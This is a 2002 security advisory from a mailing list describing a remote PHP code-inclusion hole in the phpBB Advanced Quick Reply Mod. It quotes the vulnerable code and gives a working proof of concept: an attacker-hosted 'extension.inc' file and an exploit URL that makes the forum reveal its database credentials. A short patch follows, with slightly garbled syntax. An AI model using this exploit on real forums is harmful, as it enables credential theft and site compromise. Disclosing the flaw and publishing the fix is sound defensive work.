[UNIX] Code Injection in phpBB Advanced Quick Reply Mod

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[EXPL] i386 Linux Kernel DoS (Local)"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 17 Nov 2002 21:12:05 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Code Injection in phpBB Advanced Quick Reply Mod
    ------------------------------------------------------------------------

    SUMMARY

    Hai Nam Luke has found a security hole in the
    <http://phpbbhacks.com/viewhack.php?id=586> phpBB Advanced Quick Reply Mod
    (Code Injection). Attackers can exploit this Mod to inject PHP code into
    an existing forum, effectively compromising the site's integrity.

    DETAILS

    Exploit:
    In the file quick_reply.php you will notice the following vulnerable code:

    if ( $mode == 'smilies' )
    {
    define('IN_PHPBB', true);
    include($phpbb_root_path . 'extension.inc');
    include($phpbb_root_path . 'common.'.$phpEx);
    include($phpbb_root_path . 'includes/functions_post.'.$phpEx);
    generate_smilies('window', PAGE_POSTING);
    exit;
    }

    If you create a file called 'extension.inc' and include in it for example:
    <?php
    include('config'.'.php');
    echo "DB Type: $dbms <br>";
    echo "DB Host: $dbhost <br>";
    echo "DB Name: $dbname <br>";
    echo "DB User: $dbuser <br>";
    echo "DB Pass: $dbpasswd <br>";
    exit;
    ?>

    Accessing the file by issuing the following URL:
    http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your
    Server]/&mode=smiles

    Will return the server's database username and password.

    Patch:
    Modify in quick_reply.php the following:
    [FIND]
    if ( $mode == 'smilies' )
    {</I<
    [ADD BEFORE]
    phpbb_root_path = "./";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:hainamluke@hotmail.com> Hai
    Nam Luke.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages